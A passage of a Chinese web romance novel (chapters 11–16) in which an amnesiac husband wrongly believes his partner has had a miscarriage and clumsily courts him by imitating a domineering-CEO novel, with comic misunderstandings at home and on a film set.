裴澈横了他一眼：“怎么，我缺投资了你不给我投？”
贺朝觉：“！！！”
他想说不是这么算的，但裴澈眼神像是有钩子似的，在他心头一钩，弄得他心痒痒。
算了，贺朝觉无能狂怒，狠狠瞪了谢以寒一眼。
辣鸡前男友，迟早给你送走。
刚给裴澈手剥了个橙子的谢以寒背后一凉，下意识四处看了看，好奇怪，刚刚怎么感受到一股杀意？
谢以寒甩甩头，把奇怪的感觉丢开，狗腿地递上橙子：
“澈澈，尝尝这个，桑奎内利血橙。”
甜美的果香风味独特，这种血橙产自西班牙，颜色深邃，光是看一眼就很好吃。
裴澈摇摇头：“吃不了。”
“怎么——”谢以寒看一眼裴澈的肚子，突然意识到，“哦，你最近不能吃酸凉的……”
说到一半瞅了眼贺朝觉，瞬间收了声。
裴澈留学那几年落下的胃病，几个老朋友都知道，还知道贺朝觉宝贝得紧，一向给人好好调养着。
得亏他现在脑子不太好，不然知道裴澈忙起来又犯胃病，不得又气又心疼。
莫名其妙看了一圈眉眼官司的贺朝觉：“？？？”
他直觉不对，又说不上哪里不对。
裴澈忙扯开话题，谢以寒自己嘻嘻哈哈把血橙给吃了。
吃完饭三人去取车，裴澈和谢以寒走在前面，贺朝觉心事重重落后一步。
趁前面的裴澈不注意，贺朝觉飞快拿出手机。
搜索——
#腹痛忌口酸凉橙子
随手划拉过一片无关紧要的联想结果，贺朝觉急急往下看去，视线突然凝固住。
橙子虽然好吃，但是不能多贪，今天小编就来告诉大家，哪些人群不适合多吃橙子……
……怀孕、流产的人不适合吃橙子。酸性食物（如柠檬、山楂、酸梅等）会刺激胃酸分泌，可能导致肠胃不适，同时也不利于子宫的收缩和恢复……
流产……山楂……
贺朝觉心头一跳，如同坠了铅越来越沉，不由得停住了脚步。
直到发现人丢了的裴澈出声叫他：
“朝觉？朝觉？”
“哦，哦，”他如梦初醒，上前和裴澈会合，“来了。”
一直到晚上睡觉的时候，贺朝觉都还有点坐立难安。
他看着裴澈洗漱好换上睡衣，心里还翻涌着那些搜索结果。裴澈却没像近来一样去隔壁次卧，反而直接坐到了贺朝觉身边。
“最近怎么这么主动？”清凌凌的青年面带笑意，眼神里流露出几分温柔。
前几天还时冷时热，不知道在想什么。最近倒是恢复了几分刚结婚时的样子。
裴澈嗓音柔和，带上几分促狭：“今天还叫我阿澈。”
贺朝觉不敢直视他的眼睛，装作若无其事地抱住靠过来的青年：“这样不好吗？”
“当然好，”裴澈“啵”地在他脸上亲了一口：“今晚奖励你和我一起睡，开不开心？”
“开心，”贺朝觉勉强笑了笑。
太开心了，心头像是沸腾的熔岩，开得他睡不着觉。
贺朝觉的手僵硬地环着裴澈，感受着裴澈靠在胸口的呼吸节奏，心中如同压着一块巨石。
裴澈睡得很快，呼吸逐渐平稳，贺朝觉却辗转难眠。
他眼神飘忽地看向天花板，脑海中不停地翻滚着那些搜索到的文字。流产、酸性食物、不能吃山楂和橙子……
忍不住低头看向身旁的裴澈。夜灯的柔光洒在裴澈脸上，昳丽而恬静。
不行，我得弄清楚。
贺朝觉闭上眼睛，脑海里那一行行关于流产的联想挥之不去。
12. 第 12 章
因为身边有熟悉的气息，这一夜裴澈睡得格外安稳。
醒来时，感觉小腹暖融融的，一只手轻轻按在上面，柔和的力道持续散发热量。
裴澈迷迷糊糊睁眼，捞过那只手十指相扣。
身后的怀抱瞬间一僵。
“嗯？”裴澈懒洋洋地哼了一声，用发顶蹭了蹭他的下巴，就着两人扣紧的手，想要转身挤进贺朝觉的怀抱。
贺朝觉突然微微退了一下，“啪唧”把他的脸挡了回来，裴澈彻底醒了。
僵硬抵住裴澈的脸，贺朝觉声音沙哑，有点慌乱：“别……别看我。”
他做完早饭回来见裴澈还在睡，就一直像变态一样盯着看，怀中人醒得突然没收住，现在神情一定很吓人。
裴澈无语，老夫老夫的什么东西不能看？
许是因为气氛不错。转念一想，他难得升起了逗弄的心思。
濡湿的感觉在手心一闪而过，贺朝觉像过了电一样，飞速收手。
裴澈得意地眯起眼睛，翻身而起，双手捧起贺朝觉的脸，上看下看。
男人被压在下面动弹不得，脸红红耳朵红红。
还是那个被亲一下手都害羞的他老攻嘛。
奖励地亲亲他的鼻尖，裴澈温柔地问：“昨晚没睡好？”
贺朝觉瞬间抬眼，做贼心虚：“睡、睡好了呀。”
“哦，”裴澈点点他的眼睛，无情指出，“长黑眼圈了。”
早餐是鲫鱼豆腐粥搭配枸杞红豆糕。
裴澈看了眼这个搭配，没有动勺，忍不住又看了一眼。
贺朝觉紧张：“怎么了？”
“唔，没什么，就是觉得有点创意。”
看着像什么产妇套餐。
虽然但是，贺朝觉在刘嫂指导下做的粥，得赏脸。裴澈搅和两下鱼粥，舀起一勺送到嘴边吹凉。
就在这时，刘嫂突然上前一步，声音洪亮：“这个鲫鱼豆腐粥啊，最是补血益气！我们村生了孩——”
裴澈一口鱼粥差点喷出来。
“咳、咳咳、咳咳咳咳咳！”
——耳边同时响起惊天动地的咳嗽声，惊得他立时将粥又噎了回去。
猛地转过头，就看见贺朝觉面无表情，咳得像是要把肺管咳出来一样。
看着害他噎到的罪魁祸首，裴澈：“……”
没事乱喝什么粥，贺朝觉算是祸害到他头上了。
粥煮得粘稠，被硬生生吞回去，卡在喉咙里不上不下的，瞬间已是在裴澈眼底逼出了一层水雾。
凌凌的青年坐在桌边，神情俱是惊色，眼角微红，泫然欲泣。
贺朝觉瞬间慌了。
该死，还是碰到了裴澈的伤心事！
急急半跪到裴澈身边，抬手想擦去他眼角的水渍，伸到一半又颓然落下。
他还有资格碰他吗？
裴澈迷惑地看贺朝觉反复做伸展运动，终于忍不住一把薅住他的手：“干嘛呢？”
贺朝觉如梦初醒，低头看向裴澈按在自己手上的指头，像得了天大的特赦，反手握住他：“你宽恕我了？”
裴澈：“……”
突然咳嗽吓到他是什么大罪吗？突然整这翻译腔。
他云里雾里，点点头又摇摇头：“没生气。”
贺朝觉还不放心，跪在地上抬眼看裴澈，就好像在认真确认珍藏的宝物状态。
裴澈被这突如其来的黏糊眼神看得不明所以，瞥向一边的刘嫂。
刘嫂猛地收住笑，眨巴眨巴眼睛：“哎呀，我要走了，赶不上去公园打太极拳了。”
裴澈：“……”
刘嫂火速离开了，裴澈拿脚轻踢地上的贺朝觉：“起来，不凉吗？”
“你觉得凉？是不是暖气不足了？”贺朝觉瞬间紧张，上下打量裴澈，掖紧他的晨袍。
裴澈：“……倒没那么凉。”
接下来，贺朝觉坐在一边，吃一口粥抬五次头地盯着裴澈看，简直让他怀疑自己也长了一对黑眼圈。
捻起一块枸杞红豆糕，裴澈咬下一口，低声自语：“最近不能吃粥了。”
贺朝觉抬头：“为啥？”
“不吉利。”
贺朝觉：“？？？”
上次呛谢以寒，今天呛着他，下次要是呛到贺朝觉自己。
裴澈神色莫名地看了老攻两眼。
他这个脑子，经不起再折腾了。
*
吃完饭，裴澈开车先把贺朝觉送到公司，没急着马上去片场。
他目送贺朝觉离开，一等那道身影没入旋转门，利落地拨通了李特助的电话。
“喂？裴先生，……有什么事吗？”
李特助正在整理那一堆离婚材料，猛地接通电话声音都带点抖。
“没事。就是突然想起来问一下，你们贺总最近在公司没什么异常吧？”裴澈声音清浅。
“没有没有，您放心，BOSS一切都好。”
“哦，那好。”
李特助刚松了口气，裴澈话锋一转——
“昨天我过去的时候，他在看文件？看起来很棘手的样子。”
“呃，都是日常事务……”
裴澈顿了顿，不动声色：“和橙子娱乐的合作？”
橙子娱乐？他们和橙子娱乐合作什么？难道是BOSS这么说的？
李特助硬着头皮：“对，因为第一次走娱乐公司的业务，合约很多方面需要斟酌。”
裴澈没再追问，挂断了电话。
阳光洒在车窗里，座椅上拖出长长的阴影。清冷昳丽的青年微微皱眉，本以为只是公司的业务出了问题，但现在看来，真正有问题的恐怕是贺朝觉。他瞒了自己什么？
“BOSS！”
放下电话，李特助一转头，就看见神出鬼没的贺朝觉。
突然出现在你背
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后.jpg
贺总阴恻恻道："在聊什么？"
李特助欲哭无泪：“没、没什么。”
只是在为你们名存实亡的爱情上坟罢了。
不置可否地“哼”了一声，贺朝觉走到窗边背手而立。
李特助苦着脸，陪他一块盯着对面快要修好的工地看了半晌。
贺朝觉冷不丁开口：“裴澈最近经常腹痛吗？”
啊？裴先生又犯胃病了嘛？
“不清楚……”
贺朝觉一个眼刀飞过来，李特助忙补充：“前几天确实太劳累，请了一趟家庭医生，不过您交代过，不要什么细节都汇报……”
李特助的声音渐渐低下去。
顶着贺朝觉冰冷的眼神，他敢怒不敢言。
狗男人，是谁害我CP塌房，还要做出卖良心的走狗！
走狗蔫头耷脑地站在一边，贺朝觉沉痛地闭上眼。
还有什么确认的必要？
他不过就是想卑劣地骗过自己，骗自己和裴澈之间没有这么惨烈。
早上裴澈的反应犹在眼前，李特助的话让他心头萦绕的猜测彻底落在实处。
裴澈刚刚小产。
再回忆起裴澈温柔的谅解，和对鲫鱼豆腐粥的抗拒，贺朝觉更加心疼。
“李特助。”
男人的声音瞬间变得沙哑萧瑟，犹如眼看着什么重要的东西湮去却无能为力。
李特助谨慎：“BOSS？”
“你说，如果一个人做了这样的错事，还配和他在一起吗？”
这样的错事？李特助瞬间义愤填膺，你还知道自己做了错事，裴先生待你这么好！
“不配！我第一个呸呸呸！
“呃——配配配。”
屈服于渣男的威势，李特助做出违心发言。
“真的？”如果手里有一只烟，贺朝觉现在应该是磕掉一截烟灰，惆怅地吐出烟圈的姿态。
简称，渣男姿态。
李特助抬眼瞄了瞄。呃，不对，贺总愣住了……
……显然不太惆怅。
相反，愣怔之后，他一下眼睛都亮了：“你觉得还可以挽回？你见过这样的例子吗？”
贺朝觉蹭一下站到李特助身前，十分重视而充满鼓励地看着他，眼里写满了“你就是我的左膀右臂股肱之臣”。
在这种奇怪的氛围下，李特助不小心说秃噜了嘴：
“那可见得多了，少说也有百十来个。”
“……”
现在捂嘴来不及了对吧。
十几分钟后，贺朝觉打量着李特助传给自己的数G文包，满意地挥挥手，后者像是屁股着火一样飞快地逃走了。
【追妻火葬场】
贺朝觉目光灼灼地看向文包的名字。
追妻，很符合他现在要做的事。
火葬场，很好，像是那个“贺朝觉”该去的地方。
13.第 13 章
贺朝觉的黑眼圈没有消去，反而变本加厉。接下来一周，每天雷打不动地顶着国宝眼和裴澈说早安，伴随狗狗祟祟的眼神。
裴澈：“……干什么亏心事了？”
贺朝觉：“！！！”
“没、没什么！”
他一秒收敛眼神，下巴微抬，居高临下地扫了眼裴澈：“起来了？”
“……对。”裴澈疑惑配合，刚刚不是才说过早安。
贺朝觉眼神转向浴室，展示自己流畅的下颌线：“那去洗漱吧。”
“你今天不去公司？”裴澈疑惑地看了眼桌上的电子钟，8点了，“那我先去刷牙。”
贺朝觉幽幽地目送他，保持着下巴微抬的姿势，下颚紧张地愈发收紧。
裴澈推开浴室的门，脚步一顿突然回头：“昨晚落枕了？”
贺朝觉：“……没有。”
裴澈狐疑：“落枕了就让钟医生来看看，别逞强。”
贺朝觉：“……”
强行摆正脑袋，上下左右转了好几圈以示健康，他有点泄气地站到浴室门边。
重新酝酿起情绪，脸上表情淡淡的，眼睛非常具有暗示意味地飘到洗面台上。
裴澈不明所以，顺着贺朝觉的目光看去——
他的电动牙刷立在镜子前，上面挂着一小朵牙膏，再往下看去，“啪唧”一大朵堆在大理石台面上。
裴澈：“……”
贺朝觉：“……”
他努力挤出来的爱心！
看见贺朝觉如遭雷击的表情，裴澈忍不住觉得有点可爱，转头对着他眉头一挑：“早上还有惊喜啊！”
贺朝觉蔫了吧唧扯了下嘴角。裴澈走近洗面台，仔细一看突然笑起来：“这牙膏有点像一个图案。”
贺朝觉瞬间精神。
裴澈停了一下，故作思索：“你看剩下的牙膏有点像个v形……”
贺朝觉满怀期待地看向裴澈。
“……加上镜子里的那个v，像不像个哭脸小人？”
哭脸小人·贺朝觉：…… v v
裴澈回身看贺朝觉，拿起牙膏，在牙刷上挤了一下：“现在是笑脸小人了。”
青年微微倚靠在洗面台上，姿态放松，骨节分明的手指拎起电动牙刷凑在一旁的镜子前。
^ ^
浅浅的微笑划破他身上那层雾霭般清冷的气质，弯起的眉眼间有种暖融融的东西泄流出来，和旁边的牙膏笑脸相映成双。
贺朝觉的喉结滚了滚。
想起书上接下来的内容，他手指微动，蓦地有点燥。
“砰——”
浴室的门猛地关上。
贺朝觉闷闷的声音逃也似远离：“你快刷牙吧！”
……
贺朝觉摸摸自己滚烫的脸，努力绷回冷淡克制的表情。
又抬抬下巴，自上而下投下一个眼神。
……角度好像确实有点问题。
他摸出手机，面无表情地给李特助发了个消息：【文包不错。】
【这个月奖金翻倍。】
【……还有别的文吗？】
打下这行字，贺朝觉思索了一下，又删掉了。
以他的学习进度，根本用不上别的文。更不用说，他还改良了课本推陈出新。
贺朝觉翻出《霸道厉总狠狠爱》，翻到书签位置，给自己的补充笔记标上绿色。
书里这个男主真是神经。
贺朝觉撇撇嘴拿过衬衫开始换，他熬了几夜，看了一堆男主和自己不相上下的刑事犯罪记录，昨晚才看到新章——“他难道动心了？”
男主察觉自己对女主动心，开始和女主拉开距离，冷淡地克制自己的感情。
合理的。
但克制归克制，早上命令女主给自己挤牙膏是什么骚操作？
贺朝觉打着领带，满意地对自己点头。还好他聪明，改成了给裴澈挤牙膏，还是爱心牙膏。
低情商男主挤一挤牙膏就气氛降到冰点，忽然强吻女主。结果呢？浴室里那一发让女主倍感羞辱，怪不得还要二十多章才能完结。
他就不一样了，裴澈可是对自己笑了呢！
贺朝觉美滋滋地捧起手机，解锁。
屏幕上的青年脸微微侧，似乎察觉到镜头的存在，嘴角勾起一道浅浅的微笑。
锁屏，解锁，锁屏，解锁。
屏幕慢慢亮起时，就好像裴澈缓缓从屏幕里浮现，要径直走进他的心里。
*
李特助停好车，一边解安全带，一边拿起手机。
BOSS的特别提示音刚刚连着叮咚了两下。
李特助点开某信，首先看见【这个月奖金翻倍】，嘴角猛地按不住了。
下一秒。
“文包不错？什么文包，我明明发的是——”
李特助困惑一秒，猛地惊醒。
靠，他不会把从小侄女那里没收的盗版文包发给BOSS了吧。
五分钟后，李特助瞪着txt文件结
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尾硕大的【本资源仅供学习交流使用，严禁商用！可能存在不完整之处，请支持正版！】：“……”
往上随便一划拉，男主还在因为发现自己爱上了女主，又是羞辱又是刁难，持续发狗疯中。
这离火葬场简直还有十万八千里！
李特助绝望扫过疯狗男主花样百出的虐点，两眼一黑。
所以，贺总觉得哪里不错啊！
……
裴澈洗漱完推门出来，看见贺朝觉正美滋滋地戴手表。
一看见他出浴室，脸上表情瞬间冷淡，与此同时脖子也僵硬了几分。
裴澈眉头轻皱，没说什么。
吃完早饭，他放下餐巾，走到大门边准备出发去片场。
身后一道温热的身躯影子一样贴上来。
裴澈偏头，贺朝觉稍稍拉开距离，微抬着下巴目不斜视：“去片场？”
裴澈：“……”
感觉拳头有点紧怎么回事，这个熟悉的开场白。
贺朝觉低眸看他一眼。
裴澈面无表情地看回去。
“那我也一起吧。”贺朝觉下巴抬得更高，故作毫不在意，眼神也努力淡淡的，压不住跃跃欲试。
“你不去公司，也不在家办公——”裴澈下意识要问，突然收住，“那你来吧。”
两个人一道坐上车前排，裴澈从后视镜瞥了贺朝觉一眼。
倒要看看，今天他又想整点什么幺蛾子。
车开到一半，经过红绿灯路口，裴澈的电话突然响起来。
“喂。”
车载电话接通，自动公放。
李特助的声音火急火燎地从扬声器里传出来，哭丧似的：“裴先生，我对不住您，您现在还好吗？”
裴澈：“？？？”
他刚吃完早餐去上班，有什么不好的？
“他好得很！”
贺朝觉眉头一皱，迅速抢答。一大早打电话来关心什么？
“……”
电话那头瞬间沉默。
半晌，李特助的声音弱弱地响起：“BO……BOSS，您也在啊。”
裴澈侧头看看贺朝觉，温声道：“他和我一块去片场。”
“哦，哦……好，那你们路上注意安全。”
李特助欲言又止，止言又欲，最后丢下这么一句，火速挂断了电话。
呜！李铁柱，你的良心终究还是喂了狗！
眼下，竟只能眼睁睁看着裴先生被贺总磋磨了！
14.第 14 章
电话啪唧断了，裴澈看贺朝觉：“……”
贺朝觉双手抱臂，目不斜视地看前方。
裴澈幽幽评价：“……很有信念感。”
贺朝觉：“？？？”
裴澈：“没什么。”
他现在是真的好奇，贺朝觉到底瞒着自己什么了。
两人到了片场，裴澈下车，贺朝觉落后一步，“嗞溜”一下跑到后座，开车门取东西关门一气呵成。
看着贺朝觉手里的大公文包，裴澈：“……你什么时候放车上的。”
“带的什么文件，剧组人多眼杂方便看吗？”
不会昨晚就早有预谋吧？
贺朝觉没有说话，依旧保持着今天的高冷无口人设，只是矜傲地勾勾唇角，亮晶晶的眼睛里写满“你一会就知道了”。
行吧。
今天的拍摄日程已经计划好。一进片场，裴澈瞬间忙碌起来，如同拨弦的手指，沉着而精准地穿梭于各个角落。
“这张椅子拉过去，空出走位的空间。”
“左边的灯光再调亮一点，照到这个位置。”
布景调整得差不多，裴澈目光扫视，终于满意地点点头。
“男女主上——”
“咔”的一声脆响打断了裴澈的话，他震惊地回过头，才发现被自己遗忘的贺朝觉竟然还牢牢跟在后面。
瘪瘪的公文包夹在胳膊下面，现在裴澈知道贺朝觉带的什么了——
“咔、咔——”
又是“咔”的一声，贺朝觉掰折塑料板的最后一个面，卡好，一只丑丑的彩色塑料小板凳就此诞生。
贺朝觉把小板凳放在民国风地毯上，垫上公文包，看向裴澈。
表情冷淡，眼神殷切。
老婆快来休息，看我给你弄的小板凳！方便又舒服！
裴澈：“……”
听见声音走过来的男女主：“……”
坏消息，裴澈对小板凳毫无兴趣。
“......带这个干嘛？”裴澈扫了一眼那个丑丑的小板凳，面无表情地问。
贺朝觉满怀期待的神情微微一僵。
……流产需要多多休息，不行不能提。
低头看了看自己的杰作，抿嘴：“......”
裴澈无奈地捡起小板凳塞到贺朝觉怀里，语气稍微软了一些：“乖，去一边等我。”
贺朝觉被裴澈毫不留情地赶到片场边缘，委委屈屈地坐上他的小板凳，像一只被主人冷落的小狗。
好消息是，小板凳没白带。
贺朝觉安慰自己，至少，他还能坐在这里，远远地看着裴澈。
很快贺朝觉就坐不住了。
上次来探班是傍晚，拍摄结束收工，他只看见裴澈和场记核对镜头，找剧组管理讨论拍摄进度。
没想到，除了工作人员消极怠工，裴澈手下的演员也在划水！
一个简单的镜头NG了好几次，裴澈开始还坐在监视器边看，后来已经站到场边，几次喊停，上前给场上的男主指导。
如此两三条，男主的进步微乎其微。
贺朝觉神色阴沉地站起来，三两步跨到离裴澈不远的位置，既能看见男主演，又不至于阻碍其他工作人员。
今天他站在这里，居然还有人不把裴澈放在眼里！
秦峻找好走位，给裴导比了个手势，迅速入戏。
这场他走了几条都觉得情绪不对，和裴导商量完对剧本进行了一些微调，男主骤然发现发现女主埋下的阴谋，不仅震惊，还应该悚然一寒。
秦峻酝酿着情绪，突然感觉一道阴冷的视线落在自己背上，瞬间如同被一条毒蛇盯上，汗毛直立。
“卡！好，这条过了！”
裴澈从监视器里回看，非常满意，秦峻情绪给的很到位，甚至超出预期，不愧是老戏骨。
接下来的拍摄进度异常顺利，简直像开了三倍速。演员们不知怎么地和打了鸡血一样，才到中午就完成了今天任务的五分之四。
“休息！”裴澈大手一挥，宣布开始午休。
在一群“芜湖”声中，裴澈看见表情冷峻的贺朝觉，抬手看了看腕上的表。
他已经像这样隔一会就抬手看表，审视着片场，冷脸转了几圈了。
裴澈招招手，把贺朝觉叫到跟前。
来了！
贺朝觉保持一定距离，脸绷得更加冷淡，略抬着下巴垂眼看裴澈。
接下来裴澈会因为他化解拍摄困境感谢自己，而他就可以顺势说出那句——
“怎么一直看表，下午着急回去？”裴澈问。
贺朝觉：“……”
“没什么值得我帮的。”剧本跑偏，但一句硬邦邦的话已经脱口而出。<
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/p>
什么？裴澈疑惑地拧了下眉，舒展开来，安慰道：“你在这乖乖的，就已经帮到我了。”
贺朝觉冷峻的脸上瞬间洋溢起遮不住的开心。
他拼命压下嘴角：“吃午饭吧。”
午饭是贺朝觉提前从锦绣斋订的餐，配置似曾相识。
裴澈迟滞了两秒，缓缓开口：“这菜……是不是……”有什么问题？
红枣花生焖排骨、枸杞鸡丝蒸蛋、黄芪乌鸡汤。
吃下去不会补得流鼻血吗？
贺朝觉本想维持冷淡克制，可裴澈那绝望的神情，让他心头猛地一紧。
是不是太明显了？不小心戳到了他的痛处？
贺朝觉的手微微颤了一下，迅速握紧了筷子。
“吃吧……”他张张嘴，最终强作镇定地吐出两个字，不敢再多说。
下午就在贺朝觉的谨小慎微中度过，《霸道厉总狠狠爱》中的那些场景也没敢再试。
晚上两人刚到家，会客厅沙发上一个懒懒的身影转过来，挥手：“嗨——”
钟医生？贺朝觉疑惑，他怎么来了?
裴澈自然地上前和他握了握手：“那就麻烦你了，朝觉有点落枕。”
贺朝觉：“？？？”
面对钟医生，贺朝觉就没有那么配合了，眼见着裴澈上楼往书房去，他瞬间双臂一抱，阴恻恻威胁道：“我没有落枕。”
钟医生：“不错，颈椎状态确实非常美丽。”
贺朝觉狐疑地打量他两眼，不相信他这么好说话。
钟医生又道：“李特助说，裴澈可能需要一些额外的帮助，但最好不要让他察觉。”
贺朝觉的瞳孔猛地一缩：“什么意思？”
下一秒，他放松紧绷的肩膀，脑海中迅速闪过一个猜测。李特助应该是指那件事……
没想到他还有点用处。
“是的，”他沉重地点了点头，语气变得严肃，“流产后的身体怎么调理，你有好的建议吗？”
--------
小剧场
贺朝觉读书笔记：
【男主下颌微抬，冷冷低眸看了女主一眼：“别想太多，你哪里值得我帮。”】
笔记：做好事不邀功，默默关心，保持距离。但是说话太生硬，可以改成“没什么值得我帮的”，隐晦传达对裴澈能力的肯定！
15.第 15 章
流产后的身体调理……
……？
钟医生心头玩味的“我也好奇什么意思”浮到一半，微勾的唇角猛地一僵，心理活动秒删。
合起下巴，面无表情地给贺朝觉发了一个长文档。
【孕产保养细则与禁忌事项】。
总裁家庭医生常备，但没想到，贺朝觉也有用上的一天！还是在外面养的情人！
钟医生冷冷辞别，反手给李特助去了条消息。
【我看裴澈现在更需要法务援助。】
……
“钟医生怎么说？”
一道人影从书房外闪过，裴澈从分镜笔记上抽出视线，头都没回地问道。
门口狗狗祟祟的贺朝觉猛地一僵。
“钟医生说，没……什么问题了。”贺朝觉慢慢吞吞，到嘴边的“没有落枕”咽了下去。
“他给你摁过了？”
裴澈侧过头，带着点调侃的笑意看向贺朝觉：“手法怎么样，疼不疼？”
钟医生上学时主攻的就是康复科，正骨很有一手，除了疼没什么毛病。
清冷的青年眉眼间有几分促狭，因为这样日常的打趣沾上了凡尘的烟火气。
明知故问完，他整理好笔记纸张，从办公椅里站起来。
“有……有点。”
贺朝觉嘴巴张合，不知道自己在说什么，眼里只剩下那个慢慢靠近的身影。
书房是裴澈绝对的安全区，现在他却跨越书房的地毯，一步步朝自己走来。
贺朝觉低头看向身前的裴澈，神色莫名。
落枕确实好了。
裴澈喜爱地捧起贺朝觉的狗头搓了搓：“正好我的活也干完了，睡觉吧。”
……
贺朝觉小心翼翼地打开床头灯，昏黄的光晕支起一块角落。
被他开灯的动作牵动，怀里人眉头轻蹙，梦呓了一声。
贺朝觉吓得赶紧不动了。
裴澈微微仰脸，找到贺朝觉胸口的位置，下意识蹭了蹭，满意地沉沉睡去。
贺朝觉甜蜜地叹了口气，裴澈越来越依赖自己了，但是自己不得不冷淡克制。
……虽然效果不错，但难道没有别的方案了嘛？
他熟练地找出藏在枕头下面的手机，打开《霸道厉总狠狠爱》，上面显示的阅读进度俨然达到了惊人的83.7%。
贺朝觉目光沉沉，聚精会神。
学习，学习，学习！
凌晨两点，双眼通红的贺朝觉瞪着手机屏幕上的两行字，缓缓皱起了眉头——
【本资源仅供学习交流使用，严禁商用！可能存在不完整之处，请支持正版！】
？？？
什么意思？
*
收到钟医生的消息后，李特助辗转反侧了一整夜。
一边是给BOSS当走狗，忍受良心煎熬升职加薪。
一边是做正义的铁拳，打翻狗男人拯救裴先生于水火。
孰轻孰重啊！
早上8点，天平倒向正义的一侧，李特助痛下决心，打开某信，打算……对BOSS旁敲侧击一下。
“咦？”
屏幕上赫然是两条新消息。
渣男预备役：【你给我发的是什么？[霸总拍桌]】
渣男预备役：[截图]
点开截图，李特助看见了txt文件结尾那两行熟悉的字。
“……”
居然给这个狗男人看完了，这是还意犹未尽想要后续？后续可是真火葬场！
李特助犹豫不决，在输入框做了一会加减法。
页面顶端心虚的“对方正在输入中……”久久不去，贺朝觉面色愈发难看，拧起了眉头。
渣男预备役：【最后一次，洗心革面的机会。】
李特助：“！！！”
他含泪屈服，点开输入框：【好的BOSS，这就把后续发给你。】
还没发送，贺朝觉一长串消息叮叮咚咚先发了过来。
渣男预备役：【李特助，你太让我失望了！】
渣男预备役：【科技公司最重要的是什么？是创意和点子！】
渣男预备役：【不尊重版权的企业迟早要栽跟头。】
李特助缓缓打出一个问号：“……？”
说的是这个洗心革面？
他删改了一下消息，试探着发送：【好的BOSS，这就把正版阅读软件安装教程打包发你。】
渣男预备役：[霸道酷总满意点头]
李特助：“……”
……
“在干嘛？”
裴澈一边擦着头发，一边从浴室出来。
今天是周六，难得两人都闲在家里。他早上去健身房跑完步，洗澡出来就看见贺朝觉拿着手机噼里啪啦。
“没！没什么！”
贺朝觉刷地按灭手机丢到一边，犹豫了一下，接过裴澈手里的毛巾，擦了起来。
裴澈自然地坐到一旁矮凳上，享受贺朝觉的服务。
刚刚那一眼足够他看见李特助的消息框，上面还有一个发送中的压缩包。
裴澈打趣：“周末了，你还不让李特助闲一下。”
贺朝觉猛地僵住，裴澈轻“嘶”一声：“慢一点，扯着我头发了。”
贺朝觉又手足无措地想要查看，裴澈忙哄他：“好啦没事没事。”
裴澈无奈，还是拿回毛巾自己擦。
使唤一个脑子不好的病号，不太好。
贺
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朝觉可怜巴巴地在一边看。
裴澈身体不好，还要自己擦头发，他真没用啊。
眉目清俊的青年侧头将水分一点点抿去，眼神向下，神情温柔专注。
贺朝觉正看得出神，裴澈头也不抬，冷不丁问：“还没说呢，你和李特助藏了什么秘密？”
“！！！”
“能、能有什么秘密！”男人长眉一蹙，开始嘴硬。
裴澈似笑非笑地飞了贺朝觉一眼。
没有秘密，他信了。
不过不着急，老攻难得这么不禁逗，还挺好玩的。
吹干头发吃过早餐，裴澈提议一起看电影。
他以前喜欢户外运动，总拉着贺朝觉去徒步。现在遵医嘱，不能带着贺朝觉做激烈运动，又不忍心把他一个人丢在家里。
不过别墅里配备有私人影院，方便裴澈平时看片学习。
“上次电影节送展有个片子很不错，我正好想再看一遍。陪我一块，嗯？”
裴澈笑盈盈地看向贺朝觉。
黑发散在青年额际，平添一丝柔软，眼底的期待难以忽视。
贺朝觉想都没想，猛猛点头：“好！”
观影室里，IMAX规格的荧幕铺满整个墙面，进门右手边的侧墙掏空做了一排抽屉。
裴澈打开其中一只，指尖掠过竖直收纳的一张张蓝光碟片。
咦？那张碟呢？
一边的贺朝觉看着观影室熟悉的陈设，头有些隐隐作痛。
他总觉得，自己好像忘记了什么……
裴澈把抽屉挨个检查了一遍，也没有看见想找的那张碟片。
他正想问贺朝觉，手指突然摸到墙壁上的一处突起，下意识摁了一下。
嗯？
墙内响起机械齿轮缓缓运转的声音，贺朝觉猛地低头看去。
一只内嵌的隐形窄架从墙内弹出，露出上面摆放的一排排碟片，论规模和抽屉里面的那些也不遑多让。
贺朝觉：“！！！”
他猛地扑过去，眼疾手快抽出其中一张，砰地把整个架子推了回去。
“咔哒”一声，碟片架归位，贺朝觉手拿裴澈要找的那张碟片，背顶墙面硬着头皮抬头看去。
他想起来了！
那个“贺朝觉”近乎病态地收藏裴澈的影片，除了裴澈参演的，连他看过的那些蓝光碟，都神不知鬼不觉地收藏起来。
抽屉里那些，都是那个“贺朝觉”补过去的新碟。
只是车祸时机不凑巧，那个“贺朝觉”刚刚把最新碟片放进自己的收藏，来不及补上，他就回来了。
对上裴澈震惊的眼神，挤出个比哭还难看的笑容：“哈、哈哈！原来在这呢！”
贺朝觉：……QAQ
16.第 16 章
裴澈眼神很好，就算不好，也没法对着贺朝觉这么大动静装作没看见。
他轻咳一声，蔫答答惊恐的男人瞬间要碎了。
手里碟片视死如归地递到裴澈跟前，涨红的脸恨不得埋到地毯里去。
反应这么大？
裴澈又好奇地朝收纳窄架的墙缝看了一眼，已经恢复如初，完全看不出痕迹。
倒是把贺朝觉看得一抖。
裴澈：“……”
见爱人这么可怜，也不好再刁难，裴澈轻飘飘问了一句“又是秘密？”，这事就算揭过去了。
两人挤到屏幕前的豪华座椅上，贺朝觉还有些惊魂未定。柔软的真皮微微下陷，包裹出两人交叠的身形，本来宽敞的空间因为紧挨着显得有些局促。
裴澈拉过贺朝觉的手，眉头一皱：“怎么出了一手的汗？”
贺朝觉瞬间僵硬：“我去洗手。”
“那倒不用，”裴澈低笑了一下，拿过一边的纸巾擦干净，引着贺朝觉的手臂圈过自己，自然地靠进爱人怀里。
调侃道：“可抱紧了，别掉了。”
贺朝觉当然不舍得掉，但他也不舍得抱太紧。
会抱坏的。
贺朝觉不紧不松地怀抱着自己的宝贝，直到影片快结束，手都有点僵了，电影讲的什么是一点没看进去。
“叮铃铃——”
裴澈掏出手机一看，眉头瞬间皱了起来：“朝觉，没法陪你看完了，易帆那边出事了。”
裴澈匆匆离开，贺朝觉罕见地没有立马跟上去。
他先是火速窜到观影室门口，竖起耳朵听裴澈离开的声音。确认裴澈关上大门，立马回身捯饬那个隐形内嵌碟片架。
指纹锁定，开启！
然后躺回刚刚的座椅上，裴澈的体温和气息仿佛还没有散去。
贺朝觉迅速点开某信，找到李特助的对话窗口。
解压，查看文档，安装某江文学城，搜索加入收藏夹。完成！
《霸道厉总狠狠爱》的热度很高，不愧是追妻宝典！
但评论区是另一种热闹，贺朝觉一进去就皱起了眉头。
【女主快跑啊，这男人不值得！！】
【到底什么时候火葬场能开始，等得我都急了！】
